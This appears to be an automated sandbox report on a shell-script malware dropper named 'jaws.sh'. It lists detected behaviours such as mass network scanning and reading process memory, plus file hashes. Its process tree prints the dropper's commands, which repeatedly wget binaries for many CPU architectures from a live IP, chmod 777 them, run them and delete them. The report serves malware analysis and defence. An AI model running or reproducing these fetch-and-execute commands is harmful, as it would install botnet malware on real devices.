Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20250610-en
  • resource tags

    arch:armhfimage:debian9-armhf-20250610-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    17/06/2025, 04:26

General

  • Target
    jaws.sh
  • Size 2KB
  • Sample250617-e2q5bsbn9w
  • SHA256 4668cc0e65567f34f0313a17aeaeff51496206add4a3dd82b3f4c04b3a66e9d9
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Contacts a large (3990) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads system routing table 1 TTPs 4 IoCs

    Gets active network interfaces from /proc virtual filesystem.

  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

  • Changes its process name 4 IoCs
  • Reads system network configuration 1 TTPs 4 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/jaws.sh
    /tmp/jaws.sh
    1⤵
    • Executes dropped EXE
    PID:640
    • /usr/bin/wget
      wget http://104.167.221.114/mips
      2⤵
      • System Network Configuration Discovery
      • Writes file to tmp directory
      PID:645
    • /bin/chmod
      chmod 777 mips
      2⤵
      • File and Directory Permissions Modification
      PID:742
    • /tmp/mips
      ./mips jaws
      2⤵
      • System Network Configuration Discovery
      PID:743
    • /bin/rm
      rm -rf mips
      2⤵
      • System Network Configuration Discovery
      PID:745
    • /usr/bin/wget
      wget http://104.167.221.114/mipsel
      2⤵
      • System Network Configuration Discovery
      • Writes file to tmp directory
      PID:746
    • /bin/chmod
      chmod 777 mipsel
      2⤵
      • File and Directory Permissions Modification
      PID:747
    • /tmp/mipsel
      ./mipsel jaws
      2⤵
      • System Network Configuration Discovery
      PID:748
    • /bin/rm
      rm -rf mipsel
      2⤵
      • System Network Configuration Discovery
      PID:750
    • /usr/bin/wget
      wget http://104.167.221.114/sh4
      2⤵
      • Writes file to tmp directory
      PID:751
    • /bin/chmod
      chmod 777 sh4
      2⤵
      • File and Directory Permissions Modification
      PID:754
    • /tmp/sh4
      ./sh4 jaws
      2⤵
        PID:755
      • /bin/rm
        rm -rf sh4
        2⤵
          PID:757
        • /usr/bin/wget
          wget http://104.167.221.114/x86_64
          2⤵
          • Writes file to tmp directory
          PID:758
        • /bin/chmod
          chmod 777 x86_64
          2⤵
          • File and Directory Permissions Modification
          PID:759
        • /tmp/x86_64
          ./x86_64 jaws
          2⤵
            PID:760
          • /bin/rm
            rm -rf x86_64
            2⤵
              PID:762
            • /usr/bin/wget
              wget http://104.167.221.114/arm6
              2⤵
              • Writes file to tmp directory
              PID:763
            • /bin/chmod
              chmod 777 arm6
              2⤵
              • File and Directory Permissions Modification
              PID:766
            • /tmp/arm6
              ./arm6 jaws
              2⤵
              • Reads system routing table
              • Reads process memory
              • Changes its process name
              • Reads system network configuration
              • Reads runtime system information
              PID:767
            • /bin/rm
              rm -rf arm6
              2⤵
                PID:770
              • /usr/bin/wget
                wget http://104.167.221.114/i686
                2⤵
                • Writes file to tmp directory
                PID:771
              • /bin/chmod
                chmod 777 i686
                2⤵
                • File and Directory Permissions Modification
                PID:947
              • /tmp/i686
                ./i686 jaws
                2⤵
                  PID:948
                • /bin/rm
                  rm -rf i686
                  2⤵
                    PID:950
                  • /usr/bin/wget
                    wget http://104.167.221.114/powerpc
                    2⤵
                    • Writes file to tmp directory
                    PID:951
                  • /bin/chmod
                    chmod 777 powerpc
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1042
                  • /tmp/powerpc
                    ./powerpc jaws
                    2⤵
                      PID:1043
                    • /bin/rm
                      rm -rf powerpc
                      2⤵
                        PID:1045
                      • /usr/bin/wget
                        wget http://104.167.221.114/x86
                        2⤵
                        • Writes file to tmp directory
                        PID:1046
                      • /bin/chmod
                        chmod 777 x86
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1115
                      • /tmp/x86
                        ./x86 jaws
                        2⤵
                          PID:1116
                        • /bin/rm
                          rm -rf x86
                          2⤵
                            PID:1118
                          • /usr/bin/wget
                            wget http://104.167.221.114/m68k
                            2⤵
                            • Writes file to tmp directory
                            PID:1119
                          • /bin/chmod
                            chmod 777 m68k
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1156
                          • /tmp/m68k
                            ./m68k jaws
                            2⤵
                              PID:1157
                            • /bin/rm
                              rm -rf m68k
                              2⤵
                                PID:1159
                              • /usr/bin/wget
                                wget http://104.167.221.114/spc
                                2⤵
                                • Writes file to tmp directory
                                PID:1160
                              • /bin/chmod
                                chmod 777 spc
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1258
                              • /tmp/spc
                                ./spc jaws
                                2⤵
                                  PID:1259
                                • /bin/rm
                                  rm -rf spc
                                  2⤵
                                    PID:1261
                                  • /usr/bin/wget
                                    wget http://104.167.221.114/arm
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1262
                                  • /bin/chmod
                                    chmod 777 arm
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1358
                                  • /tmp/arm
                                    ./arm jaws
                                    2⤵
                                    • Reads system routing table
                                    • Reads process memory
                                    • Changes its process name
                                    • Reads system network configuration
                                    • Reads runtime system information
                                    PID:1359
                                  • /bin/rm
                                    rm -rf arm
                                    2⤵
                                      PID:1362
                                    • /usr/bin/wget
                                      wget http://104.167.221.114/arm5
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:1363
                                    • /bin/chmod
                                      chmod 777 arm5
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:1532
                                    • /tmp/arm5
                                      ./arm5 jaws
                                      2⤵
                                      • Reads system routing table
                                      • Reads process memory
                                      • Changes its process name
                                      • Reads system network configuration
                                      • Reads runtime system information
                                      PID:1533
                                    • /bin/rm
                                      rm -rf arm5
                                      2⤵
                                        PID:1536
                                      • /usr/bin/wget
                                        wget http://104.167.221.114/ppc4fp
                                        2⤵
                                          PID:1537
                                        • /bin/chmod
                                          chmod 777 ppc4fp
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:1555
                                        • /tmp/ppc4fp
                                          ./ppc4fp jaws
                                          2⤵
                                            PID:1572
                                          • /bin/rm
                                            rm -rf ppc4fp
                                            2⤵
                                              PID:1578
                                            • /usr/bin/wget
                                              wget http://104.167.221.114/arm7
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:1586
                                            • /bin/chmod
                                              chmod 777 arm7
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:1827
                                            • /tmp/arm7
                                              ./arm7 jaws
                                              2⤵
                                              • Reads system routing table
                                              • Reads process memory
                                              • Changes its process name
                                              • Reads system network configuration
                                              • Reads runtime system information
                                              PID:1828
                                            • /bin/rm
                                              rm -rf arm7
                                              2⤵
                                                PID:1831

                                            Network

                                                  MITRE ATT&CK Enterprise v16

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  arm

                                                  • Path /tmp/arm
                                                  • Size 98KB
                                                  • SHA256 9e774abe2146e123fc014227147fff9b934bce25186b23a4917ba4d48ee6534f
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  arm5

                                                  • Path /tmp/arm5
                                                  • Size 98KB
                                                  • SHA256 e70bcc50967d42e998fda61e96d4b02afcb214db17e187801d6efd6e00ef2654
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  arm6

                                                  • Path /tmp/arm6
                                                  • Size 113KB
                                                  • SHA256 42ef3caed92ec3ac1831c2fe5c911a0c0cdce56031c1b0f3f44d6478d9571c16
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  arm7

                                                  • Path /tmp/arm7
                                                  • Size 150KB
                                                  • SHA256 3902bc3972b09116c20172a0603592072d780a683cf026a5aaf69a2bee0b29c2
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  i686

                                                  • Path /tmp/i686
                                                  • Size 74KB
                                                  • SHA256 f3781943e3e1705b9aae678aceb2f639439b736c1e3bdc90c46094a815332c5f
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  m68k

                                                  • Path /tmp/m68k
                                                  • Size 80KB
                                                  • SHA256 c03dbdf9e3a866a3de4e0ee16f079074638861a0d43d405793820253f179c321
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  mips

                                                  • Path /tmp/mips
                                                  • Size 127KB
                                                  • SHA256 d13ef2d656203d17db903a9f0790a95d93b75df4c0dc5bfdbe317dc2efff80b3
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  mipsel

                                                  • Path /tmp/mipsel
                                                  • Size 127KB
                                                  • SHA256 9f9782b7ad49ef3f07de1857ef1d25533664c77756564499fd9d90ac9b8a7b1b
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  powerpc

                                                  • Path /tmp/powerpc
                                                  • Size 91KB
                                                  • SHA256 19c9de5d8df2080b4fa014822135c791ab6ac473908f8f59077f726a47bf4d68
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  sh4

                                                  • Path /tmp/sh4
                                                  • Size 86KB
                                                  • SHA256 8af6a72b858a3301a95026b32eec78d8340ed7d67088e9d40bd97d1ce172f8aa
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  spc

                                                  • Path /tmp/spc
                                                  • Size 102KB
                                                  • SHA256 bafd73e92927ce7fb9ff2c32b1363644ade1ed569d634df3f8e9eef45f67bcb4
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  x86

                                                  • Path /tmp/x86
                                                  • Size 74KB
                                                  • SHA256 6799639861c353722a3a6a4cebb20cfd6795ee38e714098e25a0419f21bb64a0
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  x86_64

                                                  • Path /tmp/x86_64
                                                  • Size 80KB
                                                  • SHA256 71fc57877fc30df8701b5074ea6ae938e8aa85935da4a308d2e5fa4a6cde4a9b
                                                  • MD5 SHA1 SHA512 SSDEEP